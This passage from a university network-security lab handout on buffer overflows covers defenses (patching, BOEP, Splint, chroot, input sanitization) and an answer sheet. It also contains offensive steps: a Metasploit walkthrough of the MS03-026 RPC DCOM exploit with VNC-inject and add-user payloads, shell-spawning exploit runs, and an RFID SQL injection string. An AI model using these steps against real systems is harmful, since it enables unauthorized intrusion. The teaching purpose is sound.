sequence and simply considered as a program or webpage error while potencially malicious code can be run in the background. Defending against this exploit No long ago winamp 5.12 is still the most updated version of the program. Just 2 weeks ago (1-30 2006), winamp released version winamp 5.13 just for the buffer overflow problem and fixed the bug in the new version. Therefore make sure your multimedia player is up to date! Various antivirus also dealt with the problem in their new virus definition and prevent the potential malicious .pls file from being opened once detected (regardless of code executed through buffer overflow being harmless or not). As seen in the following picture from a computer with McAfee antivirus:

Furthermore: Auto launching Winamp for playlist files can be disabled For Firefox, go to Tools / Options settings, click on Download icon, then click on View & Edit Actions... Scroll down to M3U / PLS extension and then push the Remove Action button. Firefox will no longer automatically launch firefox for Winamp playlist files. It is a good idea in general for attack surface reduction to trim down the View & Edit actions to just the ones user need. Is AIFF and AU autolaunching needed for instance? What about all those Quicktime and Acrobat formats? For IE you need to disable the file type in Windows Explorer. Go to Tools / Folder Options / File Types. Scroll down to the file extension you want to change. In this case it’s pls. Check Confirm after download. User will be prompted to launch WinAmp if a pls file is downloaded. User can remove

109

the file type completely but that will also remove the ability to double-click to launch playlists from the Windows shell. User may want to go through this list and check confirm after download for many file types. Defending Yourself: How to prevent being a victim to this attack? The key areas are closing access and updating.

First, enabling Windows Firewall protection does not protect you from this attack and still allow SMB to run as intended. If you enable the Windows Firewall and do not open holes in the firewall for SMB to connect to other computers you will protect your computer from this attack, however you will also for all intents and purposes disable the windows network shares.

However, there are ways of protecting the system from this attack without

eliminating the benefits of SMB. The first way is to update. We applied the Windows XP SP2 service pack to the system and found that the computer no longer suffered from the SMBdie attack. The SP2, though 266 MBs of update, provides numerous updates to the windows system and its security.

If you are unwilling to update your computer with the latest patches the next best

step is to limit access. This can be done in two ways. You can place a firewall at the border of your network blocking all SMB traffic. The other way is to remove anonymous user access to your SMB shares. In order for this exploit to work the attacker must be a legitimate user of your computer shares. Thus by removing all anonymous access it will restrict the attack to only legitimate users, and this will still maintain most of the functionality of SMB.

110

Appendix H: Buffer Overflow Exploit Prevention A number of companies have provided products to help protect again buffer overflows. These include Internet Security System’s Buffer Overflow Exploit Prevention (BOEP) and McAfee’s Buffer Overflow Protection (BOP). We will be taking a look at the former. Please read the following Knowledge Base article from ISS: http://iss.custhelp.com/cgi-bin/iss.cfg/php/enduser/std_adp.php?p_faqid=2984 On your Windows XP machine, do the following: Select Start->Run Type \\57.35.6.10\secure_class The username and password are both secure_class. Copy agentinstall.exe from the Lab4 directory to your Windows XP machine. Double click agentinstall.exe to execute it. The install is a silent install and when it is done, the Proventia Desktop window will appear. From the “Tools” menu, select “Edit Settings”. This will bring up the Settings window. Click on the “Buffer Overflow Exploit Prevention” tab. Ensure that “Protect against buffer overflow exploits” is checked. Close the Settings window. Next, go back to your RedHat WS4 machine and rerun the Metasploit buffer overflow attack that you ran successfully in Section VIII. We want to try to get a shell again so use win32_bind as the payload. Run the Metasploit buffer overflow exploit. Were you able to successfully get a shell on your remote Windows XP machine like before? If the Proventia Desktop window is not open, open it by clicking on the Proventia Desktop icon in the system tray. What security events did Proventia Desktop fire when you tried to do the exploit? Take a screen shot of Proventia Desktop window showing the blocked buffer overflow attempt. Run “agentremove.exe” from “C:\Program Files\ISS\Proventia Desktop” to remove Proventia Desktop. A reboot will be required to fully unlink the BOEP DLLs.

111

APPENDIX I: Splint – Secure Programming LINT Overview Splint is a tool for statically checking C programs for security vulnerabilities and coding mistakes. With minimal effort, Splint can be used as a better lint. If additional effort is invested adding annotations to programs, Splint can perform stronger checking than can be done by any standard lint.1 The Big Picture Most security attacks exploit instances of poor programming or silly programming mistakes. Splint can be used by programmers to double-check their C code to ensure that it does not contain any obvious security vulnerabilities. While Splint will not fix poor programming practices, it is one security layer in the multi-layer secure programming model. Theory The term lint was derived from the name of the undesirable bits of fiber and fluff found in sheep's wool. Lint and Splint perform static analysis of source code looking for suspicious and vulnerable code. Suspicious code includes things like variables being used before being set, conditions that are always true/false and calculations whose result is likely to be outside the range of expected values. In addition, these checkers may suggest changes to code to optimize them for a specific compiler. 2 Installing Splint 3 Splint should already be installed natively; however, if not here are the basic installation instructions. Before installing, you must download the source code from the Splint website or mirror. (http://www.splint.org/downloads/binaries/splint-3.1.1.Linux.tgz). Next, untar the tarball. This will create a splint-3.1.1 directory containing several directories. # tar –xvf splint-3.1.1.Linux.tgz Now, configure, compile, and install the source code. # cd splint-3.1.1 # ./configure # make install Next, configure the environment variables necessary to launch SPLINT. You will need to add the following to your .bash_profile (located in your home directory). Do not forget to export both environment variables. 1 http://en.wikipedia.org/wiki/Splint_%28programming_tool%29 2 http://en.wikipedia.org/wiki/Lint_programming_tool 3 http://www.splint.org/

112

LARCH_PATH = ~/splint-3.1.1/lib LCLIMPORTDIR = ~/splint-3.1.1/imports EXPORT LARCH_PATH;

EXPORT LCLIMPORTDIR; Finally, source your bash profile to load the environment variables. # . ~/.bash_profile How SPLINT Works Splint uses command line flags and code annotations to determine how stringently to check code and to make intelligent decisions about whether the code is doing what it is expected to do. Take a look at the Splint manual for a complete list of command line flags, but here are few of the more common ones. 4 Flag Description -weak sets main checking parameters to use weaker checking than is done in default mode. +bounds ensures memory read and writes are not out of bounds. +infloopsuncon check for potential infinite loops. +evalorderruncon check for potential expression order errors. Example 1: Bounds Checking Save the following as ‘example1.c’. This is the same example1 used in lab 4.

void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); }

On the command like, use Splint to check for potential buffer overflows. # splint +bounds example1.c You should see several messages in the output warning of potential out-of-bounds errors.

Annotations Annotations are stylized comments that follow a definite syntax. Coders use the annotations throughout the source code to express certain assumptions about variables, return values, and parameters. These annotations, allow Splint to more thoroughly check

4 http://www.splint.org/

113

source code. Check the Splint manual for a full list of annotations available, but here a few of the more common annotations. Annotation Description /*@returned@*/ Parameter will be returned. /*@null@*/ Parameter may potentially be null. /*@alt void@*/ Parameter may be void. Example 2: Using Annotations Save the following as ‘example2.c’.

char firstChar1 (/*@null@*/ char *s) { return *s; } char firstChar2 (/*@null@*/ char *s) { if (s == NULL) return '\0'; return *s; }

On the command like, use Splint check for potential vulnerabilities. # splint example2.c You should see several messages in the output warning that you did not check to ensure the *s is not null. If a parameter is annotated as potentially null, a conditional must check for the null value. References Splint.org: http://www.splint.org/ Wikipedia: http://en.wikipedia.org/wiki/Splint_%28programming_tool%29 http://en.wikipedia.org/wiki/Lint_programming_tool

114

Screenshot showing output of splint on example1.c.

Screenshot showing output of splint on example2.c.

115

APPENDIX J: Using RFID Tags to Cause Buffer Overflows and SQL Injection Attacks

Buffer overflow attacks and code insertion attacks such as SQL injection are a possibility whenever data to be used by a back-end system is under the control of an attacker. Web and application interfaces are not the only places where these kind of exploits can occur. RFID (Radio Frequency Identification) tags are objects that can be attached to a product, animal, or person, for identification purposes. They typically have a small amount of memory (sometimes less than 1024 bits) and little processing power. Their purpose is essentially to store data and transmit it over radio waves. RFID tags have a number of well-known security issues: ● Sniffing - RFID tags are designed to be read by any compliant reading device,

even without the knowledge of the tag bearer, and even at large distances. ● Spoofing - Sniffed RFID tag data can be used to write data onto a blank or

rewritable RFID transponder and clone an RFID tag. ● Replay Attacks - RFID relay devices can sniff and retransmit RFID queries,

fooling digital passport readers, contactless payment, and building access control stations, unless challenge-response authentication is used.

● Denial of Service - By preventing radio waves from reaching RFID tags -- either by jamming radio waves or blocking them using a Faraday shield -- RFID tags can be prevented from being read or written to.

● Tracking - Individuals can be tracked involuntarily, by placing RFID readers in strategic locations to record sightings of the tags.

In addition to these vulnerabilities, most of which focus on the RFID tags themselves, and in spite of the fact that RFID tags are little more than miniature storage devices, RFID tags could facilitate exploits on large back-end systems. This is because some back-end systems may use data from these tags without properly testing whether the data is valid. This data may contain buffer overflow and code injection attacks. Here is a simple scenario of an RFID exploit that uses an SQL injection attack on a Supermarket distribution center's database:

A container arrives in a Supermarket distribution center. Normally, its RFID tag should describe the physical contents of the container, like this:

Contents=Raspberries However, the container's RFID tag is infected, and it stores the contents followed by a semicolon and SQL commands:

Contents=Raspberries; UPDATE NewContainerContents SET ContainerContents = ContainerContents||``;[SQLInjection]'';

where [SQLInjection] contain SQL commands that compromise the system.

116

Exploits like these can enable RFID "viruses," which spread from an infected RFID tag to a system that reads the tag and is vulnerable to the exploit, and then spread again when a new RFID tag is written to by this infected system. Attacks through RFID tags have the potential to cause a lot of damage, because RFID tags are becoming ubiquitous. They are beginning to be used to store high-value data such as medical information and passport authentication information. It is easy to imagine an attacker spoofing the RFID information of someone else's passport, but imagine compromising an entire passport database using a buffer overflow or SQL injection exploit on a single RFID tag! Thus, exploits like these are an issue even of national security, and must be prevented. Preventative measures include:

Bounds checking: Compile with bounds checking enabled, avoid function calls that do not bounds checking (for example, by using splint), and add bounds checking manually where needed.

Sanitize the input: Remove anything that might be code by using built-in data sanitizing functions such as pg_escape_bytea() in Postgres and mysql_real_escape_string() in MySQL.

Disable back-end scripting languages: RFID middleware that uses HTTP should eliminate support for client-side scripting (such as JavaScript, ActiveX, and Flash) and server-side scripting.

Limit database permissions: The database connection from the RFID middleware server should have the most limited rights possible (such as read-only rights, and only to specific tables), and multiple SQL commands in a single query should be disabled.

Isolate the RFID middleware server: The RFID middleware server should be isolated from the rest of the back-end infrastructure so that if the middleware server is compromised, the rest of the infrastructure remains secure.

Use parameter binding: Use the PREPARE statement in SQL to bind parameters, preventing data from being executed as code.

Code review: RFID middleware systems are new, and the integration of RFID systems with existing back-end systems that were not designed for use with RFID systems may reveal security holes that were not issues previously. This makes it critical to audit RFID solutions for security issues.

Source:

Melanie Reiback, Bruno Crispo, and Andrew Tanenbaum. "Is Your Cat Infected with a Computer Virus?" http://www.rfidvirus.org/papers/percom.06.pdf

117

APPENDIX K: Securing programs in a chroot jail

Many programs contain unwanted bugs that can be used by attackers to compromise a remote system. Even software that appears to be secure can still have problems that are yet to be discovered. With this in mind, the best option is to minimize the damage that a compromised binary can cause. This is possible with careful use of a program named chroot. This will change the root directory to one of your choosing, thus forcing the binary to run in a limited “jail.” Because this is a very limited environment, any damage can be minimized and confined to the jail. First we will begin by creating the chroot jail under a RedHat 7.2 VM # mkdir /var/chroot # cd /var/chroot # mkdir –p bin lib/i686

Next we need to set up libraries. To determine what libraries are needed by an executable such as bash or ls, use the ldd command. # cp /lib/ld-linux.so.2 lib/ # cp /lib/libdl.so.2 lib/ # cp /lib/libtermcap.2 lib/ # cp /lib/i686/libc.so.6 lib/i686/ Once these libraries are in place, copy the needed programs to the chroot environment. You should already have the exploit3 and vulnerable programs from section 1 of lab 4. If you modified them, make sure to use an unmodified version for this exercise. # cp /bin/sh bin/ # cp /bin/bash bin/ # cp /path/to/exploit3 bin/ # cp /path/to/vulnerable bin/ Next we will create our wrapper program to execute a shell under a limited user. Using vi or emacs, create a file named runshell.c with the following contents: #include <stdlib.h> #include <unistd.h> int main (int argc, char **argv){ setuid(99); execv(“/bin/bash”,argv); return 0; } Then compile and copy this program. # gcc –o runshell runshell.c # cp runshell bin/

Now set the owner of all the binaries to the user nobody. # chown nobody:nobody /var/chroot/bin/*

118

Now switch into the chroot environment by typing: # cd .. # chroot /var/chroot runshell Then perform the exploit to get a shell (use the numbers that you used earlier in the lab): $ exploit3 ### ### $ vulnerable $EGG You should get a shell. Do an ls, print the UID and take a screen shot. $ ls <directories> $ echo $UID Try to use other commands, such as su or gcc. Do they work? Why? Note: There are known ways to break out of a chroot jail. These methods usually require root access and/or access to a compiler. Be sure to check out the best practices for using chroot here: http://www.unixwiz.net/techtips/chroot-practices.html

119

APPENDIX K: Linux Live CD – Backtrack 2.0 Backtrack 2.0 is a Linux “Live CD,” – a bootable CD that contains an operating system. Backtrack comes packaged with over 300 of today’s most essential network security auditing tools, including the Metasploit Framework. Backtrack can even be installed on a USB flash drive for faster, more discreet operation. This exploit can in essence give the attacker full control over any PC on which it is loaded. Many of the tools used in previous labs are packaged with Backtrack, allowing for numerous applications. The only defense against a live CD like Backtrack is good physical security, and restricting access to the computer BIOS. back|track 2 can be downloaded from: http://www.remote-exploit.org/backtrack_download.html Burn the ISO file to a CD and boot directly from it. If you are interested in booting from an external or internal HDD or a USB drive, you can find directions on how to do so at: http://www.offensive-security.com/documentation/backtrack-hd-install.pdf When the OS boots up, please follow the instructions on the screen to login. User name is root and password is toor. If you’d like to start KDE (recommended) type startx Many groups were unable to inject the VNC package to their Windows machine by following the lab instructions. We will show you how to do so by exploiting Microsoft RPC DCOM Interface Overflow using a few of the tools included in back|track 2 It is a good idea to have as much information about the network in which we will be performing this attack. Tools such as Wireshark come in handy (see below).

120

Next we would like to know the vulnerabilities on this machine. For this, we can use nmapFE.

As can be seen in the picture above, port 135/tcp running Microsoft Windows RPC is available. To exploit this service we run an application called Metasploit. The command show exploits will display all the exploits available on this machine. We want to use the exploit highlighted below.

121

Microsoft RPC DCOM Interface Overflow Type use windows/dcerp/ms03_026_dcom Next we want to choose our exploit. As mentioned above we will be injecting a VNC server to the Windows machine.

Type set PAYLOAD windows/vncinject/bind_tcp Next set the IP for the victim by typing set RHOST x.x.x.x where x.x.x.x corresponds to the IP. See below for an example.

122

Finally, execute the exploit by typing exploit You should see a window pop up with VNC running and your Windows machine on it.

123

There are numerous other payloads you can run through this exploit. For example, you could create a user on the machine remotely by using the payload windows/adduser

These are only a few of the MANY exploits available through Backtrack. We chose the Metasploit Windows RPC exploit as an example because many people could not get it to work on a virtual machine. Backtrack also includes applications that we are familiar with from other labs such as Rainbowcrack for password cracking, and Rootkithunter as a defense against rootkits.

124

ECE4112 Internetwork Security

Lab 6: Buffer Overflows

Group Number: _________ Member Names: ___________________ _______________________

Answer Sheet

PLQ1: According to the article, what are the common problems with C/C++ which allow buffer overflows? Section I – Experimentation The Stack Region 1) Draw a diagram of the memory stack at the time that function is called. Overflowing a Buffer 2) What are the results of executing example2? Why?

125

Understanding Return Pointer Redirection 3) How did you modify example3.c to successfully redirect the pointer? Shellcode 4) Why is it important to eliminate null characters?

126

5) How were we able to modify the assembly code to remove null characters? Writing an Exploit 6) exploit2 successful buffer size and offset or ten attempts and reasoning: 7) exploit3 successful buffer size and offset: 8) Why was it so much easier to utilize exploit3? 9) What changes did you make to vulnerable.c? Section II imapd 9) imapd-ex successful offset: 10) What privileges did you gain on your Virtual Machine by running the exploit in Red Hat 7.2?

127

Section III – Common Vulnerabilities 11) What is the cause of the behavior in adjacent.c? 12) Modify adjacent.c to remove this “undesired” behavior. What were your code modifications? Copy your output to a text file using cut and paste and turn in the successful output proving you were able to create a shell with this overflow. 13) Modify cmdline.c to remove this vulnerability. What changes did you make? 14) input successful buffer size and offset: 15) remote.c successful buffer size and offset: Copy your output to a text file using cut and paste and turn in the output and the output of a successful run of whoami from the exploited shell prompt. Section IV – A Contemporary Vulnerability 16) Include text file and screenshot 17) What steps could a system administrator take to prevent this vulnerability? Section V – Libsafe – A preventive measure to buffer overflow 18) Include text file Section VI - Obtaining Administrator Privileges on Windows using a Buffer Overflow Attack

128

19) Were you able to obtain administrator privileges? Section VII – Watching a Buffer overflow in action 20) Were you able to follow the example in the debugger as explained in the lab? Section VIII – Automated Toolkits to Write Buffer Overflow Exploits 21) Did you get a window with total control? 18) How long did it take you to complete this lab? Was it an appropriate length lab? 19) What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyz adds a capability or additional or better learning experience for future students here is what you need to do. You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web site.

Attach to your submission: Output of exploited cmdline Output of exploited remote

Output of exploited WindowsXP Screenshot of crashing WindowsXP and text file

Libsafe text file